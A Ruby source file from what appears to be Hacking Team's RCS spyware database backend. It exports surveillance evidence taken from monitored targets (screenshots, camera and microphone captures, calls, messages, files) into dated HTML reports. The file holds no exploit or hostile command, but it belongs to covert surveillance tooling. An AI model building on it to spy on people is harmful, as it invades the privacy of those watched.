hackedteam/rcs-db

View on GitHub
lib/rcs-db/tasks/evidence.rb

Summary

Maintainability
B
5 hrs
Test Coverage
# encoding: UTF-8
require 'cgi'
require 'rcs-common/utf16le'
require_relative '../tasks'

module RCS
  module DB
    class EvidenceTemplate < OpenStruct
      def initialize attributes = {}
        @template_name = attributes.delete(:name)
        super(attributes)
      end

      def h(s)
        return s unless s.respond_to?(:gsub)
        escape = {'&' => '&amp;',  '>' => '&gt;',   '<' => '&lt;', '"' => '&quot;', "'" => '&#39;' }
        regexp = /[&"'><]/
        s.gsub(regexp, escape)
      end

      # Render self OR another template
      def render name = nil, params = {}
        if name.blank?
          template_path = File.join File.dirname(__FILE__), 'evidence', "#{@template_name}.erb"
          template = ERB.new File.new(template_path).read, nil, "%"
          template.result(binding)
        else
          render_template(name, params)
        end
      end

      # Helpers that can be used in erb files

      def render_template name, params = {}
        self.class.new(params.merge(name: name)).render
      end

      def html_image(image, size=140)
        "<a href=\"#{image}\"><img src=\"#{image}\" height=\"#{size}\" ></a>"
      end

      def html_mp3_player(mp3)
        "<audio src=\"#{mp3}\" controls>HTML5 audio not supported</audio><a href=\"#{mp3}\" title=\"Download\">[+]</a>"
      end
    end

    class EvidenceTask
      include RCS::DB::MultiFileTaskType
      include RCS::Tracer

      def internal_filename
        'evidence.html'
      end

      def total
        num = ::Evidence.report_count @params
        trace :info, "Exporting #{num} evidence..."
        return num
      end

      def next_entry
        @description = "Exporting #{@total} evidence"
        evidence = ::Evidence.report_filter @params

        @display_notes = (@params['note'] == false) ? false : true

        export(evidence, index: :da, target: @params['filter']['target']) do |type, filename, opts|
          yield type, filename, opts
        end

        yield @description = "Ended"
      end

      ######################################################################################################

      def render name, params = {}
        EvidenceTemplate.new(params.merge(name: name)).render
      end

      # In case of single-agent export
      def agent_description
        @agent_description ||= begin
          return unless @params['filter']['agent']
          agent = Item.agents.find(@params['filter']['agent'])
          "#{agent.name} (#{agent.instance})"
        end
      end

      def begin_new_file(day)
        out = {}
        out[:name] = File.join(day, 'index.html')
        out[:content] = render(:header)
        day += ", exported by agent #{agent_description}" if agent_description
        out[:content] << render(:table_header, day: day, display_notes: @display_notes)
        out
      end

      def end_file(out)
        out[:content] << render(:table_footer)
        out[:content] << render(:footer)
      end

      def dump_filename(day, evidence, target)
        name = evidence[:data]['_grid'].to_s
        case evidence[:type]
          when 'screenshot', 'camera', 'mouse', 'print'
            name << '.jpg'
          when 'call', 'mic'
            name << '.mp3'
          when 'money'
            name << '.dat'
          when 'file'
            name << File.extname(evidence[:data]['path'])
          when 'message'
            if evidence[:data]['type'] == :mail
              name << '.eml'
            end
        end
        name
      end

      def dump_file(day, grid_id, name, target)
        file = GridFS.to_tmp grid_id, target
        return File.join(day, name), file
      end

      def export(evidence, opts)
        # expand the sytles in the dest dir
        FileTask.expand_styles do |name, content|
          yield 'stream', name, {content: content}
        end

        # the current file handler
        out = nil

        # date of the current file
        file_day = nil

        summary = {}

        # to avoid cursor timeout on server-side
        # we split the query into different small chunks
        # so the cursor should be recreated every query

        chunk = 100
        cursor = 0
        total = evidence.count

        first_element = true
        while cursor < total do

          trace :info, "Exporting evidence: #{total - cursor} evidence to go..."

          evidence.limit(chunk).skip(cursor).each_with_index do |e, i|
            # get the day of the current evidence
            day = Time.at(e[opts[:index]]).strftime('%Y-%m-%d')
            # get the hour of the evidence
            hour = Time.at(e[opts[:index]]).strftime('%H').to_i

            # this is the first element
            if first_element
              first_element = false
              file_day = day
              out = begin_new_file day
              summary[day] = Array.new(24, 0)
            end

            # if the date of the file is different from the day of the evidence
            # we need to begin a new file
            if file_day != day
              # close any pending file / table
              end_file out

              # store the file
              yield 'stream', out[:name], {content: out[:content]}

              # create a new file
              out = begin_new_file day
              # remember the day of the file for the next iteration
              file_day = day
              summary[day] = Array.new(24, 0)
            end

            begin
              agent = ::Item.find(e[:aid])
              e[:agent] = agent.name
              e[:agent_instance] = agent.instance
            rescue
              e[:agent] = 'unknown'
              e[:agent_instance] = 'unknown'
            end

            # write the current evidence
            begin
              out[:content] << render(:table_row, row: e, display_notes: @display_notes)
            rescue Exception => ex
              trace :fatal, "#{ex.class} #{ex.message} #{e.inspect}"
            end

            # if the log does not have grid, yield it now, else add to the queue (it will be yielded later)
            if e[:data]['_grid'].nil?
              yield
            else
              g = {day: day, id: e[:data]['_grid'], file_name: dump_filename(day, e, opts[:target]), target: opts[:target]}

              begin
                filename, file = dump_file(g[:day], g[:id], g[:file_name], g[:target])
                yield('file', filename, {path: file})
                FileUtils.rm_rf(file)
              rescue Exception => e
                trace :debug, "failed exporting file #{g[:id].inspect} to #{g[:file_name]}"
              end
            end

            # update the stat of the summary
            summary[day][hour] +=  1

          end

          cursor += chunk
        end

        # this is the last element
        unless first_element
          end_file out
          yield 'stream', out[:name], {content: out[:content]}
        end

        # create the total summary of the exported evidence
        out = {name: 'index.html', content: render(:index, summary: summary)}
        yield 'stream', out[:name], {content: out[:content]}
      end
    end
  end # DB
end # RCS